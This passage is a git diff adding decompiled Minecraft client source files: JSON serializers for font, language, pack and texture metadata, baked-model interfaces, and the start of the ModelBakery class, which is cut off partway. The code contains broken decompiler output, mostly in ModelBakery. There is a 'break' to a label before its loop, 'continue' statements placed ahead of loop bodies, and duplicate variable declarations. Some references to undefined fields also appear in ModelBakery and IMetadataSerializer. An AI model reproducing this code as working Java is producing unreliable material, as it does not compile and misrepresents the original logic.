diff --git a/src/minecraft/net/minecraft/client/resources/data/FontMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/FontMetadataSectionSerializer.java
new file mode 100644
index 0000000..ccf9563
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/FontMetadataSectionSerializer.java
@@ -0,0 +1,84 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import net.minecraft.util.JsonUtils;
+import org.apache.commons.lang3.Validate;
+
+public class FontMetadataSectionSerializer extends BaseMetadataSectionSerializer
+{
+  private static final String __OBFID = "CL_00001109";
+  
+  public FontMetadataSectionSerializer() {}
+  
+  public FontMetadataSection deserialize(JsonElement p_deserialize_1_, java.lang.reflect.Type p_deserialize_2_, com.google.gson.JsonDeserializationContext p_deserialize_3_)
+  {
+    JsonObject var4 = p_deserialize_1_.getAsJsonObject();
+    float[] var5 = new float['Ā'];
+    float[] var6 = new float['Ā'];
+    float[] var7 = new float['Ā'];
+    float var8 = 1.0F;
+    float var9 = 0.0F;
+    float var10 = 0.0F;
+    
+    if (var4.has("characters"))
+    {
+      if (!var4.get("characters").isJsonObject())
+      {
+        throw new JsonParseException("Invalid font->characters: expected object, was " + var4.get("characters"));
+      }
+      
+      JsonObject var11 = var4.getAsJsonObject("characters");
+      
+      if (var11.has("default"))
+      {
+        if (!var11.get("default").isJsonObject())
+        {
+          throw new JsonParseException("Invalid font->characters->default: expected object, was " + var11.get("default"));
+        }
+        
+        JsonObject var12 = var11.getAsJsonObject("default");
+        var8 = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var12, "width", var8);
+        Validate.inclusiveBetween(0.0D, 3.4028234663852886E38D, var8, "Invalid default width");
+        var9 = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var12, "spacing", var9);
+        Validate.inclusiveBetween(0.0D, 3.4028234663852886E38D, var9, "Invalid default spacing");
+        var10 = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var12, "left", var9);
+        Validate.inclusiveBetween(0.0D, 3.4028234663852886E38D, var10, "Invalid default left");
+      }
+      
+      for (int var18 = 0; var18 < 256; var18++)
+      {
+        JsonElement var13 = var11.get(Integer.toString(var18));
+        float var14 = var8;
+        float var15 = var9;
+        float var16 = var10;
+        
+        if (var13 != null)
+        {
+          JsonObject var17 = JsonUtils.getElementAsJsonObject(var13, "characters[" + var18 + "]");
+          var14 = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var17, "width", var8);
+          Validate.inclusiveBetween(0.0D, 3.4028234663852886E38D, var14, "Invalid width");
+          var15 = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var17, "spacing", var9);
+          Validate.inclusiveBetween(0.0D, 3.4028234663852886E38D, var15, "Invalid spacing");
+          var16 = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var17, "left", var10);
+          Validate.inclusiveBetween(0.0D, 3.4028234663852886E38D, var16, "Invalid left");
+        }
+        
+        var5[var18] = var14;
+        var6[var18] = var15;
+        var7[var18] = var16;
+      }
+    }
+    
+    return new FontMetadataSection(var5, var7, var6);
+  }
+  
+
+
+
+  public String getSectionName()
+  {
+    return "font";
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/IMetadataSection.java b/src/minecraft/net/minecraft/client/resources/data/IMetadataSection.java
new file mode 100644
index 0000000..ea45b84
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/IMetadataSection.java
@@ -0,0 +1,3 @@
+package net.minecraft.client.resources.data;
+
+public abstract interface IMetadataSection {}
diff --git a/src/minecraft/net/minecraft/client/resources/data/IMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/IMetadataSectionSerializer.java
new file mode 100644
index 0000000..e3726c3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/IMetadataSectionSerializer.java
@@ -0,0 +1,9 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.JsonDeserializer;
+
+public abstract interface IMetadataSectionSerializer
+  extends JsonDeserializer
+{
+  public abstract String getSectionName();
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/IMetadataSerializer.java b/src/minecraft/net/minecraft/client/resources/data/IMetadataSerializer.java
new file mode 100644
index 0000000..1ebcd87
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/IMetadataSerializer.java
@@ -0,0 +1,96 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonObject;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import net.minecraft.util.IRegistry;
+import net.minecraft.util.RegistrySimple;
+
+public class IMetadataSerializer
+{
+  private final IRegistry metadataSectionSerializerRegistry = new RegistrySimple();
+  private final GsonBuilder gsonBuilder = new GsonBuilder();
+  
+
+  private Gson gson;
+  
+  private static final String __OBFID = "CL_00001101";
+  
+
+  public IMetadataSerializer()
+  {
+    gsonBuilder.registerTypeHierarchyAdapter(IChatComponent.class, new IChatComponent.Serializer());
+    gsonBuilder.registerTypeHierarchyAdapter(ChatStyle.class, new net.minecraft.util.ChatStyle.Serializer());
+    gsonBuilder.registerTypeAdapterFactory(new net.minecraft.util.EnumTypeAdapterFactory());
+  }
+  
+  public void registerMetadataSectionType(IMetadataSectionSerializer p_110504_1_, Class p_110504_2_)
+  {
+    metadataSectionSerializerRegistry.putObject(p_110504_1_.getSectionName(), new Registration(p_110504_1_, p_110504_2_, null));
+    gsonBuilder.registerTypeAdapter(p_110504_2_, p_110504_1_);
+    gson = null;
+  }
+  
+  public IMetadataSection parseMetadataSection(String p_110503_1_, JsonObject p_110503_2_)
+  {
+    if (p_110503_1_ == null)
+    {
+      throw new IllegalArgumentException("Metadata section name cannot be null");
+    }
+    if (!p_110503_2_.has(p_110503_1_))
+    {
+      return null;
+    }
+    if (!p_110503_2_.get(p_110503_1_).isJsonObject())
+    {
+      throw new IllegalArgumentException("Invalid metadata for '" + p_110503_1_ + "' - expected object, found " + p_110503_2_.get(p_110503_1_));
+    }
+    
+
+    Registration var3 = (Registration)metadataSectionSerializerRegistry.getObject(p_110503_1_);
+    
+    if (var3 == null)
+    {
+      throw new IllegalArgumentException("Don't know how to handle metadata section '" + p_110503_1_ + "'");
+    }
+    
+
+    return (IMetadataSection)getGson().fromJson(p_110503_2_.getAsJsonObject(p_110503_1_), field_110500_b);
+  }
+  
+
+
+
+
+
+  private Gson getGson()
+  {
+    if (gson == null)
+    {
+      gson = gsonBuilder.create();
+    }
+    
+    return gson;
+  }
+  
+  class Registration
+  {
+    final IMetadataSectionSerializer field_110502_a;
+    final Class field_110500_b;
+    private static final String __OBFID = "CL_00001103";
+    
+    private Registration(IMetadataSectionSerializer p_i1305_2_, Class p_i1305_3_)
+    {
+      field_110502_a = p_i1305_2_;
+      field_110500_b = p_i1305_3_;
+    }
+    
+    Registration(IMetadataSectionSerializer p_i1306_2_, Class p_i1306_3_, Object p_i1306_4_)
+    {
+      this(p_i1306_2_, p_i1306_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/LanguageMetadataSection.java b/src/minecraft/net/minecraft/client/resources/data/LanguageMetadataSection.java
new file mode 100644
index 0000000..c11b627
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/LanguageMetadataSection.java
@@ -0,0 +1,19 @@
+package net.minecraft.client.resources.data;
+
+import java.util.Collection;
+
+public class LanguageMetadataSection implements IMetadataSection
+{
+  private final Collection languages;
+  private static final String __OBFID = "CL_00001110";
+  
+  public LanguageMetadataSection(Collection p_i1311_1_)
+  {
+    languages = p_i1311_1_;
+  }
+  
+  public Collection getLanguages()
+  {
+    return languages;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/LanguageMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/LanguageMetadataSectionSerializer.java
new file mode 100644
index 0000000..998a400
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/LanguageMetadataSectionSerializer.java
@@ -0,0 +1,65 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import java.lang.reflect.Type;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import net.minecraft.util.JsonUtils;
+
+public class LanguageMetadataSectionSerializer extends BaseMetadataSectionSerializer
+{
+  private static final String __OBFID = "CL_00001111";
+  
+  public LanguageMetadataSectionSerializer() {}
+  
+  public LanguageMetadataSection deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+  {
+    JsonObject var4 = p_deserialize_1_.getAsJsonObject();
+    HashSet var5 = com.google.common.collect.Sets.newHashSet();
+    Iterator var6 = var4.entrySet().iterator();
+    
+    String var8;
+    String var10;
+    String var11;
+    boolean var12;
+    do
+    {
+      if (!var6.hasNext())
+      {
+        return new LanguageMetadataSection(var5);
+      }
+      
+      Map.Entry var7 = (Map.Entry)var6.next();
+      var8 = (String)var7.getKey();
+      JsonObject var9 = JsonUtils.getElementAsJsonObject((JsonElement)var7.getValue(), "language");
+      var10 = JsonUtils.getJsonObjectStringFieldValue(var9, "region");
+      var11 = JsonUtils.getJsonObjectStringFieldValue(var9, "name");
+      var12 = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var9, "bidirectional", false);
+      
+      if (var10.isEmpty())
+      {
+        throw new JsonParseException("Invalid language->'" + var8 + "'->region: empty value");
+      }
+      
+      if (var11.isEmpty())
+      {
+        throw new JsonParseException("Invalid language->'" + var8 + "'->name: empty value");
+      }
+      
+    } while (var5.add(new net.minecraft.client.resources.Language(var8, var10, var11, var12)));
+    
+    throw new JsonParseException("Duplicate language->'" + var8 + "' defined");
+  }
+  
+
+
+
+  public String getSectionName()
+  {
+    return "language";
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/PackMetadataSection.java b/src/minecraft/net/minecraft/client/resources/data/PackMetadataSection.java
new file mode 100644
index 0000000..130cb76
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/PackMetadataSection.java
@@ -0,0 +1,26 @@
+package net.minecraft.client.resources.data;
+
+import net.minecraft.util.IChatComponent;
+
+public class PackMetadataSection implements IMetadataSection
+{
+  private final IChatComponent packDescription;
+  private final int packFormat;
+  private static final String __OBFID = "CL_00001112";
+  
+  public PackMetadataSection(IChatComponent p_i1034_1_, int p_i1034_2_)
+  {
+    packDescription = p_i1034_1_;
+    packFormat = p_i1034_2_;
+  }
+  
+  public IChatComponent func_152805_a()
+  {
+    return packDescription;
+  }
+  
+  public int getPackFormat()
+  {
+    return packFormat;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/PackMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/PackMetadataSectionSerializer.java
new file mode 100644
index 0000000..3800717
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/PackMetadataSectionSerializer.java
@@ -0,0 +1,54 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonSerializationContext;
+import java.lang.reflect.Type;
+import net.minecraft.util.IChatComponent;
+
+public class PackMetadataSectionSerializer extends BaseMetadataSectionSerializer implements com.google.gson.JsonSerializer
+{
+  private static final String __OBFID = "CL_00001113";
+  
+  public PackMetadataSectionSerializer() {}
+  
+  public PackMetadataSection deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+  {
+    JsonObject var4 = p_deserialize_1_.getAsJsonObject();
+    IChatComponent var5 = (IChatComponent)p_deserialize_3_.deserialize(var4.get("description"), IChatComponent.class);
+    
+    if (var5 == null)
+    {
+      throw new JsonParseException("Invalid/missing description!");
+    }
+    
+
+    int var6 = net.minecraft.util.JsonUtils.getJsonObjectIntegerFieldValue(var4, "pack_format");
+    return new PackMetadataSection(var5, var6);
+  }
+  
+
+  public JsonElement serialize(PackMetadataSection p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+  {
+    JsonObject var4 = new JsonObject();
+    var4.addProperty("pack_format", Integer.valueOf(p_serialize_1_.getPackFormat()));
+    var4.add("description", p_serialize_3_.serialize(p_serialize_1_.func_152805_a()));
+    return var4;
+  }
+  
+
+
+
+  public String getSectionName()
+  {
+    return "pack";
+  }
+  
+
+  public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+  {
+    return serialize((PackMetadataSection)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/TextureMetadataSection.java b/src/minecraft/net/minecraft/client/resources/data/TextureMetadataSection.java
new file mode 100644
index 0000000..f4376dd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/TextureMetadataSection.java
@@ -0,0 +1,34 @@
+package net.minecraft.client.resources.data;
+
+import java.util.Collections;
+import java.util.List;
+
+public class TextureMetadataSection implements IMetadataSection
+{
+  private final boolean textureBlur;
+  private final boolean textureClamp;
+  private final List listMipmaps;
+  private static final String __OBFID = "CL_00001114";
+  
+  public TextureMetadataSection(boolean p_i45102_1_, boolean p_i45102_2_, List p_i45102_3_)
+  {
+    textureBlur = p_i45102_1_;
+    textureClamp = p_i45102_2_;
+    listMipmaps = p_i45102_3_;
+  }
+  
+  public boolean getTextureBlur()
+  {
+    return textureBlur;
+  }
+  
+  public boolean getTextureClamp()
+  {
+    return textureClamp;
+  }
+  
+  public List getListMipmaps()
+  {
+    return Collections.unmodifiableList(listMipmaps);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/TextureMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/TextureMetadataSectionSerializer.java
new file mode 100644
index 0000000..67f6039
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/TextureMetadataSectionSerializer.java
@@ -0,0 +1,67 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+
+public class TextureMetadataSectionSerializer extends BaseMetadataSectionSerializer
+{
+  private static final String __OBFID = "CL_00001115";
+  
+  public TextureMetadataSectionSerializer() {}
+  
+  public TextureMetadataSection deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+  {
+    JsonObject var4 = p_deserialize_1_.getAsJsonObject();
+    boolean var5 = net.minecraft.util.JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "blur", false);
+    boolean var6 = net.minecraft.util.JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "clamp", false);
+    ArrayList var7 = com.google.common.collect.Lists.newArrayList();
+    
+    if (var4.has("mipmaps"))
+    {
+      try
+      {
+        JsonArray var8 = var4.getAsJsonArray("mipmaps");
+        
+        for (int var9 = 0; var9 < var8.size(); var9++)
+        {
+          JsonElement var10 = var8.get(var9);
+          
+          if (var10.isJsonPrimitive())
+          {
+            try
+            {
+              var7.add(Integer.valueOf(var10.getAsInt()));
+            }
+            catch (NumberFormatException var12)
+            {
+              throw new JsonParseException("Invalid texture->mipmap->" + var9 + ": expected number, was " + var10, var12);
+            }
+            
+          } else if (var10.isJsonObject())
+          {
+            throw new JsonParseException("Invalid texture->mipmap->" + var9 + ": expected number, was " + var10);
+          }
+        }
+      }
+      catch (ClassCastException var13)
+      {
+        throw new JsonParseException("Invalid texture->mipmaps: expected array, was " + var4.get("mipmaps"), var13);
+      }
+    }
+    
+    return new TextureMetadataSection(var5, var6, var7);
+  }
+  
+
+
+
+  public String getSectionName()
+  {
+    return "texture";
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/BuiltInModel.java b/src/minecraft/net/minecraft/client/resources/model/BuiltInModel.java
new file mode 100644
index 0000000..2f792f8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/BuiltInModel.java
@@ -0,0 +1,52 @@
+package net.minecraft.client.resources.model;
+
+import java.util.List;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.util.EnumFacing;
+
+public class BuiltInModel implements IBakedModel
+{
+  private ItemCameraTransforms field_177557_a;
+  private static final String __OBFID = "CL_00002392";
+  
+  public BuiltInModel(ItemCameraTransforms p_i46086_1_)
+  {
+    field_177557_a = p_i46086_1_;
+  }
+  
+  public List func_177551_a(EnumFacing p_177551_1_)
+  {
+    return null;
+  }
+  
+  public List func_177550_a()
+  {
+    return null;
+  }
+  
+  public boolean isGui3d()
+  {
+    return false;
+  }
+  
+  public boolean isAmbientOcclusionEnabled()
+  {
+    return true;
+  }
+  
+  public boolean isBuiltInRenderer()
+  {
+    return true;
+  }
+  
+  public TextureAtlasSprite getTexture()
+  {
+    return null;
+  }
+  
+  public ItemCameraTransforms getItemCameraTransforms()
+  {
+    return field_177557_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/IBakedModel.java b/src/minecraft/net/minecraft/client/resources/model/IBakedModel.java
new file mode 100644
index 0000000..18da519
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/IBakedModel.java
@@ -0,0 +1,23 @@
+package net.minecraft.client.resources.model;
+
+import java.util.List;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.util.EnumFacing;
+
+public abstract interface IBakedModel
+{
+  public abstract List func_177551_a(EnumFacing paramEnumFacing);
+  
+  public abstract List func_177550_a();
+  
+  public abstract boolean isGui3d();
+  
+  public abstract boolean isAmbientOcclusionEnabled();
+  
+  public abstract boolean isBuiltInRenderer();
+  
+  public abstract TextureAtlasSprite getTexture();
+  
+  public abstract ItemCameraTransforms getItemCameraTransforms();
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/ModelBakery.java b/src/minecraft/net/minecraft/client/resources/model/ModelBakery.java
new file mode 100644
index 0000000..dcd9bec
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/ModelBakery.java
@@ -0,0 +1,857 @@
+package net.minecraft.client.resources.model;
+
+import com.google.common.base.Charsets;
+import com.google.common.base.Joiner;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.io.StringReader;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.client.renderer.BlockModelShapes;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.block.model.BlockPart;
+import net.minecraft.client.renderer.block.model.BlockPartFace;
+import net.minecraft.client.renderer.block.model.FaceBakery;
+import net.minecraft.client.renderer.block.model.ItemModelGenerator;
+import net.minecraft.client.renderer.block.model.ModelBlock;
+import net.minecraft.client.renderer.block.model.ModelBlockDefinition;
+import net.minecraft.client.renderer.block.model.ModelBlockDefinition.Variant;
+import net.minecraft.client.renderer.block.model.ModelBlockDefinition.Variants;
+import net.minecraft.client.renderer.block.statemap.BlockStateMapper;
+import net.minecraft.client.renderer.texture.IIconCreator;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IRegistry;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.util.RegistrySimple;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ModelBakery
+{
+  private static final Set field_177602_b = Sets.newHashSet(new ResourceLocation[] { new ResourceLocation("blocks/water_flow"), new ResourceLocation("blocks/water_still"), new ResourceLocation("blocks/lava_flow"), new ResourceLocation("blocks/lava_still"), new ResourceLocation("blocks/destroy_stage_0"), new ResourceLocation("blocks/destroy_stage_1"), new ResourceLocation("blocks/destroy_stage_2"), new ResourceLocation("blocks/destroy_stage_3"), new ResourceLocation("blocks/destroy_stage_4"), new ResourceLocation("blocks/destroy_stage_5"), new ResourceLocation("blocks/destroy_stage_6"), new ResourceLocation("blocks/destroy_stage_7"), new ResourceLocation("blocks/destroy_stage_8"), new ResourceLocation("blocks/destroy_stage_9"), new ResourceLocation("items/empty_armor_slot_helmet"), new ResourceLocation("items/empty_armor_slot_chestplate"), new ResourceLocation("items/empty_armor_slot_leggings"), new ResourceLocation("items/empty_armor_slot_boots") });
+  private static final Logger LOGGER = LogManager.getLogger();
+  protected static final ModelResourceLocation MODEL_MISSING = new ModelResourceLocation("builtin/missing", "missing");
+  private static final Map BUILT_IN_MODELS = Maps.newHashMap();
+  private static final Joiner field_177601_e;
+  private final IResourceManager resourceManager;
+  private final Map field_177599_g = Maps.newHashMap();
+  private final Map models = Maps.newLinkedHashMap();
+  private final Map variants = Maps.newLinkedHashMap();
+  private final TextureMap textureMap;
+  private final BlockModelShapes blockModelShapes;
+  private final FaceBakery field_177607_l = new FaceBakery();
+  private final ItemModelGenerator itemModelGenerator = new ItemModelGenerator();
+  private RegistrySimple bakedRegistry = new RegistrySimple();
+  private static final ModelBlock MODEL_GENERATED;
+  private static final ModelBlock MODEL_COMPASS;
+  private static final ModelBlock MODEL_CLOCK;
+  private static final ModelBlock MODEL_ENTITY;
+  private Map itemLocations = Maps.newLinkedHashMap();
+  private final Map field_177614_t = Maps.newHashMap();
+  private Map variantNames = Maps.newIdentityHashMap();
+  private static final String __OBFID = "CL_00002391";
+  
+  public ModelBakery(IResourceManager p_i46085_1_, TextureMap p_i46085_2_, BlockModelShapes p_i46085_3_)
+  {
+    resourceManager = p_i46085_1_;
+    textureMap = p_i46085_2_;
+    blockModelShapes = p_i46085_3_;
+  }
+  
+  public IRegistry setupModelRegistry()
+  {
+    func_177577_b();
+    func_177597_h();
+    func_177572_j();
+    bakeItemModels();
+    bakeBlockModels();
+    return bakedRegistry;
+  }
+  
+  private void func_177577_b()
+  {
+    loadVariants(blockModelShapes.getBlockStateMapper().func_178446_a().values());
+    variants.put(MODEL_MISSING, new ModelBlockDefinition.Variants(MODEL_MISSING.func_177518_c(), Lists.newArrayList(new ModelBlockDefinition.Variant[] { new ModelBlockDefinition.Variant(new ResourceLocation(MODEL_MISSING.getResourcePath()), ModelRotation.X0_Y0, false, 1) })));
+    ResourceLocation var1 = new ResourceLocation("item_frame");
+    ModelBlockDefinition var2 = getModelBlockDefinition(var1);
+    registerVariant(var2, new ModelResourceLocation(var1, "normal"));
+    registerVariant(var2, new ModelResourceLocation(var1, "map"));
+    func_177595_c();
+    loadItemModels();
+  }
+  
+  private void loadVariants(Collection p_177591_1_)
+  {
+    Iterator var2 = p_177591_1_.iterator();
+    break label109;
+    for (;;)
+    {
+      ModelResourceLocation var3 = (ModelResourceLocation)var2.next();
+      
+      try
+      {
+        ModelBlockDefinition var4 = getModelBlockDefinition(var3);
+        
+        try
+        {
+          registerVariant(var4, var3);
+        }
+        catch (Exception var6)
+        {
+          LOGGER.warn("Unable to load variant: " + var3.func_177518_c() + " from " + var3);
+        }
+        if (var2.hasNext()) {}
+
+
+
+
+
+
+
+
+      }
+      catch (Exception var7)
+      {
+
+
+
+
+
+
+
+        LOGGER.warn("Unable to load definition " + var3, var7);
+      }
+    }
+    label109:
+  }
+  
+  private void registerVariant(ModelBlockDefinition p_177569_1_, ModelResourceLocation p_177569_2_) {
+    variants.put(p_177569_2_, p_177569_1_.func_178330_b(p_177569_2_.func_177518_c()));
+  }
+  
+  private ModelBlockDefinition getModelBlockDefinition(ResourceLocation p_177586_1_)
+  {
+    ResourceLocation var2 = getBlockStateLocation(p_177586_1_);
+    ModelBlockDefinition var3 = (ModelBlockDefinition)field_177614_t.get(var2);
+    
+    if (var3 == null)
+    {
+      ArrayList var4 = Lists.newArrayList();
+      
+      try
+      {
+        Iterator var5 = resourceManager.getAllResources(var2).iterator();
+        
+        while (var5.hasNext())
+        {
+          IResource var6 = (IResource)var5.next();
+          InputStream var7 = null;
+          
+          try
+          {
+            var7 = var6.getInputStream();
+            ModelBlockDefinition var8 = ModelBlockDefinition.func_178331_a(new InputStreamReader(var7, Charsets.UTF_8));
+            var4.add(var8);
+          }
+          catch (Exception var13)
+          {
+            throw new RuntimeException("Encountered an exception when loading model definition of '" + p_177586_1_ + "' from: '" + var6.func_177241_a() + "' in resourcepack: '" + var6.func_177240_d() + "'", var13);
+          }
+          finally
+          {
+            org.apache.commons.io.IOUtils.closeQuietly(var7);
+          }
+        }
+      }
+      catch (IOException var15)
+      {
+        throw new RuntimeException("Encountered an exception when loading model definition of model " + var2.toString(), var15);
+      }
+      
+      var3 = new ModelBlockDefinition(var4);
+      field_177614_t.put(var2, var3);
+    }
+    
+    return var3;
+  }
+  
+  private ResourceLocation getBlockStateLocation(ResourceLocation p_177584_1_)
+  {
+    return new ResourceLocation(p_177584_1_.getResourceDomain(), "blockstates/" + p_177584_1_.getResourcePath() + ".json");
+  }
+  
+  private void func_177595_c()
+  {
+    Iterator var1 = variants.keySet().iterator();
+    Iterator var3;
+    for (; var1.hasNext(); 
+        
+
+
+
+        var3.hasNext())
+    {
+      ModelResourceLocation var2 = (ModelResourceLocation)var1.next();
+      var3 = ((ModelBlockDefinition.Variants)variants.get(var2)).getVariants().iterator();
+      
+      continue;
+      
+      ModelBlockDefinition.Variant var4 = (ModelBlockDefinition.Variant)var3.next();
+      ResourceLocation var5 = var4.getModelLocation();
+      
+      if (models.get(var5) == null)
+      {
+        try
+        {
+          ModelBlock var6 = loadModel(var5);
+          models.put(var5, var6);
+        }
+        catch (Exception var7)
+        {
+          LOGGER.warn("Unable to load block model: '" + var5 + "' for variant: '" + var2 + "'", var7);
+        }
+      }
+    }
+  }
+  
+  private ModelBlock loadModel(ResourceLocation p_177594_1_)
+    throws IOException
+  {
+    String var3 = p_177594_1_.getResourcePath();
+    
+    if ("builtin/generated".equals(var3))
+    {
+      return MODEL_GENERATED;
+    }
+    if ("builtin/compass".equals(var3))
+    {
+      return MODEL_COMPASS;
+    }
+    if ("builtin/clock".equals(var3))
+    {
+      return MODEL_CLOCK;
+    }
+    if ("builtin/entity".equals(var3))
+    {
+      return MODEL_ENTITY;
+    }
+    
+    Object var2;
+    
+    Object var2;
+    if (var3.startsWith("builtin/"))
+    {
+      String var4 = var3.substring("builtin/".length());
+      String var5 = (String)BUILT_IN_MODELS.get(var4);
+      
+      if (var5 == null)
+      {
+        throw new java.io.FileNotFoundException(p_177594_1_.toString());
+      }
+      
+      var2 = new StringReader(var5);
+    }
+    else
+    {
+      IResource var9 = resourceManager.getResource(getModelLocation(p_177594_1_));
+      var2 = new InputStreamReader(var9.getInputStream(), Charsets.UTF_8);
+    }
+    
+    ModelBlock var11;
+    
+    try
+    {
+      ModelBlock var10 = ModelBlock.deserialize((Reader)var2);
+      field_178317_b = p_177594_1_.toString();
+      var11 = var10;
+    }
+    finally {
+      ModelBlock var11;
+      ((Reader)var2).close();
+    }
+    
+    return var11;
+  }
+  
+
+  private ResourceLocation getModelLocation(ResourceLocation p_177580_1_)
+  {
+    return new ResourceLocation(p_177580_1_.getResourceDomain(), "models/" + p_177580_1_.getResourcePath() + ".json");
+  }
+  
+  private void loadItemModels()
+  {
+    registerVariantNames();
+    Iterator var1 = Item.itemRegistry.iterator();
+    Iterator var4;
+    for (; var1.hasNext(); 
+        
+
+
+
+
+        var4.hasNext())
+    {
+      Item var2 = (Item)var1.next();
+      List var3 = getVariantNames(var2);
+      var4 = var3.iterator();
+      
+      continue;
+      
+      String var5 = (String)var4.next();
+      ResourceLocation var6 = getItemLocation(var5);
+      itemLocations.put(var5, var6);
+      
+      if (models.get(var6) == null)
+      {
+        try
+        {
+          ModelBlock var7 = loadModel(var6);
+          models.put(var6, var7);
+        }
+        catch (Exception var8)
+        {
+          LOGGER.warn("Unable to load item model: '" + var6 + "' for item: '" + Item.itemRegistry.getNameForObject(var2) + "'", var8);
+        }
+      }
+    }
+  }
+  
+
+  private void registerVariantNames()
+  {
+    variantNames.put(Item.getItemFromBlock(Blocks.stone), Lists.newArrayList(new String[] { "stone", "granite", "granite_smooth", "diorite", "diorite_smooth", "andesite", "andesite_smooth" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.dirt), Lists.newArrayList(new String[] { "dirt", "coarse_dirt", "podzol" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.planks), Lists.newArrayList(new String[] { "oak_planks", "spruce_planks", "birch_planks", "jungle_planks", "acacia_planks", "dark_oak_planks" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.sapling), Lists.newArrayList(new String[] { "oak_sapling", "spruce_sapling", "birch_sapling", "jungle_sapling", "acacia_sapling", "dark_oak_sapling" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.sand), Lists.newArrayList(new String[] { "sand", "red_sand" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.log), Lists.newArrayList(new String[] { "oak_log", "spruce_log", "birch_log", "jungle_log" }));
